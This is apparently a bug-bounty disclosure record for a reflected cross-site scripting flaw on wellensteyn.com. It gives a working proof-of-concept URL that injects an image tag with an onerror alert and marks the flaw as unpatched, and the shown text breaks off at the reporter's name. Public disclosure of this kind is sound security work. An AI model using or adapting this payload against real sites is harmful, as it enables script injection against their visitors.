wellensteyn.com XSS vulnerability

Vulnerable URL: http://www.wellensteyn.com/page/stores?q=a%3E%27%3E%22%3Et%3Ci%3Ep%3Cimg+src%3Dy+onerror%3Dalert%28%27openbugbounty%27%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alex...